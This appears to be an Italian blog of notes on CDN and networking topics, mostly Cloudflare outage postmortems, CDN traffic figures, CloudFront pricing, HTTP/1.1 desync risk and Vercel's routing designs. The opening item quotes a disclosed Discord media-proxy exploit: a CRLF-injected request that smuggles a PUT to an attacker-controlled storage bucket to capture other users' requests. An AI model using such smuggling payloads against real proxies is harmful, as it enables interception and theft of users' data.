Note di Matteo

HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:

I sent the following request to the media proxy:

GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1
Host: media.discordapp.net

Which caused the backend to send out these two requests to GCP:

GET /attachments/ HTTP/1.1
Host:x

PUT /request.txt HTTP/1.1
Host:myevilbucket.storage.googleapis.com
Content-Length:250

 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0
Host: discord.storage.googleapis.com

The PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.

And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]

L'architettura anti-DDoS di Cloudflare:

Here is what actually happens when an attack hits our network. Packets arrive at the network interface card (NIC) and immediately enter an eXpress Data Path (XDP) program chain managed by xdpd, running in driver mode. Among the first programs in that chain is l4drop, which evaluates each packet against mitigation rules in extended Berkeley Packet Filter (eBPF). Those rules are generated by dosd, our denial of service daemon, which runs on every server in our fleet. Each dosd instance samples incoming traffic, builds a table of the heaviest hitters it sees, and broadcasts that table to every other instance in the colo. The result is a shared colo-wide view of traffic, and because every server works from the same data, they reach the same mitigation decision.

When dosd detects an attack pattern, the resulting rule is applied locally via l4drop and propagates globally via Quicksilver, our distributed key-value (KV) store, reaching every server in every data center within seconds. Only after surviving l4drop do packets reach Unimog, our Layer 4 (L4) load balancer, which distributes them across healthy servers in the data center. For Magic Transit customers routing enterprise network traffic through our edge, flowtrackd adds a further layer of stateful TCP inspection, tracking connection state and dropping packets that don't belong to legitimate flows.

The 31.4 Tbps attack we mitigated followed exactly this path. No traffic was backhauled to a centralized scrubbing center. No human intervened. Every server in the targeted data centers independently recognized the attack and began dropping malicious packets at line rate, before those packets consumed a single CPU cycle of application processing. The software is only half the story: none of it works if the ports aren't there to absorb the traffic in the first place.

La chiave alla fine è l'ultima frase: devi prima avere la capacità di rete, motivo per cui è ormai estremamente difficile che nascano nuove aziende nel settore che facciano il percorso di startup che ha fatto Cloudflare (il traffico Internet di oggi non è quello del 2010).

Come sono distribuiti gli 80 Tbps di traffico di CDN77:

• 31% – Private Network Interconnections
• 28% – Internal backbone traffic between PoPs
• 23% – Tier 1 IP transit providers
• 12% – Cache appliances inside ISPs
• 6% – Internet Exchanges

Type split:

• 29% – Public internet (Tier 1 + IXPs)
• 71% – Private network (PNIs, backbone, caches)

AWS ha chiarito come funzionano i piani flat della CDN CloudFront, che hanno un limite di TB di traffico ma senza costi aggiuntivi se li superi:

If you continue to substantially exceed your plan's usage allowance without upgrading, we may adjust how we deliver your traffic. For example, we might serve your traffic from fewer or more distant edge locations or adjust performance. The degree of adjustment is proportional—small excess usage sees minimal changes, larger sustained excess sees more noticeable changes. Upgrading restores full performance.

Strana e rara frecciatina di Akamai a Cloudflare:

As I write this, another cloud provider is experiencing their third outage this quarter. While frequently lauded for innovation, today’s IT teams responsible for mission-critical applications for their customers are learning yet another painful lesson about the true cost of unreliability.

In un articolo sull'affidabilità, in cui effettivamente Akamai è essenzialmente leader (o forse la scarsa trasparenza rinforza quell'idea).

Il postmortem del nuovo disservizio di Cloudflare, durato 25 minuti: la causa è di nuovo una configurazione distribuita globalmente senza rollout progressivo:

This second change of turning off our WAF testing tool was implemented using our global configuration system. This system does not perform gradual rollouts, but rather propagates changes within seconds to the entire fleet of servers in our network and is under review following the outage we experienced on November 18.

Unfortunately, in our FL1 version of our proxy, under certain circumstances, the second change of turning off our WAF rule testing tool caused an error state that resulted in 500 HTTP error codes to be served from our network.

Almeno stanno lavorando a una soluzione definitiva che non tiri giù tutto con un click:

Before the end of next week we will publish a detailed breakdown of all the resiliency projects underway, including the ones listed above. While that work is underway, we are locking down all changes to our network in order to ensure we have better mitigation and rollback systems before we begin again.

Cloudflare down again:

Statistiche CDN77:

Hit a new daily peak, serving over 20M HTTP requests per second straight from our CDN77 network.

20M. Every second.

Wild. And our Logs team (data & storage eng): "Ok, nice benchmark, give us more". Respect!

We store logs with 1+2 redundancy.

That is 60 000 000 lines per second. The fun's only beginning.

Dal postmortem di Cloudflare:

Il motivo delle fluttuazioni iniziali di errori 5xx è dovuto al deployment di un file di configurazione errato del "bot score" della Bot Protection:

As a result, every five minutes there was a chance of either a good or a bad set of configuration files being generated and rapidly propagated across the network.

E infine veniva sempre deployato il file errato, globalmente e istantaneamente (la stessa causa di altri precedenti outage globali di Cloudflare):

The model takes as input a “feature” configuration file. A feature, in this context, is an individual trait used by the machine learning model to make a prediction about whether the request was automated or not. The feature configuration file is a collection of individual features.

This feature file is refreshed every few minutes and published to our entire network and allows us to react to variations in traffic flows across the Internet. It allows us to react to new types of bots and new bot attacks. So it’s critical that it is rolled out frequently and rapidly as bad actors change their tactics quickly.

Il motivo per cui alcuni siti non erano affetti:

Customers deployed on the new FL2 proxy engine, observed HTTP 5xx errors. Customers on our old proxy engine, known as FL, did not see errors, but bot scores were not generated correctly, resulting in all traffic receiving a bot score of zero. Customers that had rules deployed to block bots would have seen large numbers of false positives.

Il file di configurazione conteneva dei dati errati perché per via di un cambio di configurazione la query ClickHouse estraeva più dati del dovuto. Il proxy edge lanciava un'eccezione perché non si aspettava quella quantità di dati:

Cosa c'era quindi che non andava:

• La query era errata (ok, può capitare).
• Non c'era validazione dell'output della query (feature duplicate), che finiva quindi direttamente deployato globalmente, a quanto pare.
• Sull'edge c'era un limite fisso di 200 feature attese, ma non c'era nessuna validazione che il file ne avesse effettivamente di meno.
• Non c'era nemmeno "fail safe" nel caso in cui succedesse.

EDIT: su Hacker News osservazioni molto simili:

They failed on so many levels here.

How can you write the proxy without handling the config containing more than the maximum features limit you set yourself?

How can the database export query not have a limit set if there is a hard limit on number of features?

Why do they do non-critical changes in production before testing in a stage environment?

Why did they think this was a cyberattack and only after two hours realize it was the config file?

Why are they that afraid of a botnet? Does not leave me confident that they will handle the next Aisuru attack.

Anche Resend durante l'outage Cloudflare ha iniziato a lavorare per sostituire Cloudflare con AWS CloudFront, ma alla fine non l'ha fatto e preferisce avere l'edge AWS (dove c'è il resto dell'infrastruttura) solo come failover.

The CloudFront solution was not deployed, but the runbook was created. If the incident were to recur, we could switch to the fallback within 60 seconds. We continued to monitor and then closed the status page.

Rivoluzione dei prezzi di AWS CloudFront, 50 TB per 15$ (in su), prima sarebbe costato oltre 4.000 $:

Altra testimonianza di come il routing Cloudflare sia pessimo sui piani più economici (producendo 150+ ms di latenza evitabile scegliendo nodi a migliaia di km di distanza), un problema che essenzialmente non esiste con le altre CDN:

A dimostrazione di #164, ho notato che diversi siti hanno disattivato Cloudflare visto il prolungarsi dei problemi: Mailtrap, Instatus, X. E allora cosa era lì a fare?

Cloudflare KO da quasi due ore e la differenza rispetto a quando us-east-1 di AWS è down è che i disservizi Cloudflare tendono ad essere globali e quindi più impattanti.

La quantità di siti impattati che sto osservando mi sembra maggiore rispetto all'outage AWS del mese scorso. A questo giro noto cloud provider con i siti in crisi (Netsons), servizi di status page (Instatus), di rilevamento errori (Bugsnag), di invio email (Mailtrap, Resend) che usano Cloudflare magari senza nemmeno averne bisogno, magari perché "lo usano tutti", "costa poco", e senza un'adeguata valutazione di cosa comporta far passare l'intero traffico non cifrato attraverso un'azienda che non ha una reputazione di affidabilità. A questo giro anche ChatGPT, X e N26.

Magari anche con l'illusione che Cloudflare serva a qualcosa out of the box nel gestire gli attacchi DDoS. Non lo è: gli attacchi L3/L4 li gestisce tipicamente ogni provider di rilievo (almeno fino a una certa scala) e non è per questo necessario Cloudflare, mentre è noto a chi ci è passato che Cloudflare ha l'abitudine di passare alla origin gli attacchi L7 anche significativi (decine di migliaia di richieste al secondo), fuori pattern e con origin palesemente in crisi. Di certo è un utile, flessibile e soprattutto accessibile firewall edge a scalabilità infinita che avrebbe bisogno di più competizione.

Aggiungere una CDN o in generale avvicinare l'edge all'utente finale non sembra avere impatto in sulla latenza in presenza di una origin dinamica (rispetto a connettersi direttamente alla origin).

Mi sarei aspettato che fasi delicate come handshake TCP/TLS beneficiassero della vicinanza dell'edge e che la connessione CDN-origin fosse di qualità migliore, e invece:

Non una prova definitiva ovviamente.

Non c'è differenza nell'utilizzo della CPU tra algoritmi di controllo della congestione in QUIC secondo l'analisi di CDN77 (DataCamp):

Both BBRv1 and BBRv2 are much more computationally complex than Cubic. Cubic is de facto event-based, where each dropped packet manipulates the congestion window (CWND) by a scaling constant, meaning the algorithm has minimal bookkeeping. On the other hand, both BBRv1 and BBRv2 maintain a state machine, which is much more computationally expensive.

BBRv2 maintains more parameters than BBRv1, which adds to the computational complexity.

Nevertheless, we have not seen any measurable difference in CPU usage between Cubic, BBRv1, and BBRv2. We can conclude that the overhead of BBRv1 and BBRv2 is negligible.

Cache-Control for Civilians è un classico must-read (ancora attuale e ancora aggiornato) per chi vuole imparare una volta per tutti gli header per gestire la cache HTTP.

Ho trovato questa recente iniziativa, HTTP/1.1 must die, secondo cui il rischio di HTTP smuggling è troppo alto e quindi bisognerebbe migrare verso HTTP/2 per gli upstream nei reverse proxy.

Per contesto (dal paper):

HTTP/1.1 has a fatal, highly-exploitable flaw - the boundaries between individual HTTP requests are very weak. Requests are simply concatenated on the underlying TCP/TLS socket with no delimiters, and there are multiple ways to specify their length. This means attackers can create extreme ambiguity about where one request ends and the next request starts.

HTTP/2 non soffre di questo problema:

HTTP/2 is not perfect - it's significantly more complex than HTTP/1, and can be painful to implement. However, upstream HTTP/2+ makes desync vulnerabilities vastly less likely. This is because HTTP/2 is a binary protocol, much like TCP and TLS, with zero ambiguity about the length of each message.

E il problema si può presentare anche se il client usa HTTP/2, proprio per via dei reverse proxy:

Servers and CDNs often claim to support HTTP/2, but actually downgrade incoming HTTP/2 requests to HTTP/1.1 for transmission to the back-end system, thereby losing most of the security benefits.

Come risolvere:

First, ensure your origin server supports HTTP/2. Most modern servers do, so this shouldn't be a problem.

Next, toggle upstream HTTP/2 on your proxies. I've confirmed this is possible on the following vendors: HAProxy, F5 Big-IP, Google Cloud, Imperva, Apache (experimental), and Cloudflare (but they use HTTP/1 internally).

Unfortunately, the following vendors have not yet added support for upstream HTTP/2: nginx, Akamai, CloudFront, Fastly.

I bloom filter, una struttura dati per determinare in modo efficiente ma probabilistico la presenza/assenza di un elemento in una collezione, sembravano inizialmente relegati ai corsi di algoritmi dell'università ma con la scala di Internet si sono iniziati a vedere in implementazioni reali.

Esempio recente, da How we made global routing faster with Bloom filters (Vercel):

When you make a request to a Vercel deployment, our routing service first checks whether the requested path exists before attempting to serve it. [...] We do this by generating a JSON file on build that contains a tree of every path in your project's build outputs, including static assets, pages, API routes, webpack chunks, and Next.js route segments.

In alcuni casi questo file JSON era diventato un collo di bottiglia, specialmente perché il servizio di routing è single-threaded (Node.js, presumo):

These sites can create 1.5+ megabyte lookup files that take dramatically longer to parse. At the 99th percentile, parsing this JSON file takes about 100 milliseconds; at the 99.9th percentile, it takes about 250 milliseconds.

Qui entrano in gioco i Bloom filter:

A Bloom filter is a probabilistic data structure that can be used to test whether an element, or key, is a member of a set. [...] Bloom filters can return false positives, but never false negatives. For path lookups, this property is valuable. If the Bloom filter says a path does not exist, we can safely return a 404; if it says a path might exist, we fall back to checking the build outputs.

Il risultato: miglioramento della velocità di lookup fino a 200 volte. I dettagli nell'articolo.

Vercel ha annunciato di aver implementato il request collapsing per impedire valanghe di richieste contemporanee in caso di cache miss.

Raramente si conoscono i dettagli implementativi di una CDN, quindi è interessante leggere l'approccio basato su lock distribuiti:

Request collapsing works through a two-level distributed locking system.

At the node level, each CDN node maintains an in-memory lock. When multiple requests for the same uncached path arrive at that node, the lock ensures that only one proceeds. Others wait until the cache fills. This prevents a single node from firing multiple function invocations for the same path.

At the regional level, every region enforces its own lock across all nodes. After acquiring the node lock, a request tries to get the regional lock. Only one request per region can hold both locks simultaneously, meaning only one function invocation per region can regenerate a page.

This design makes collapsing scalable. Without the node-level grouping, hundreds of concurrent requests could all compete for the regional lock simultaneously. This would create a thundering herd problem where the lock coordination itself becomes a bottleneck.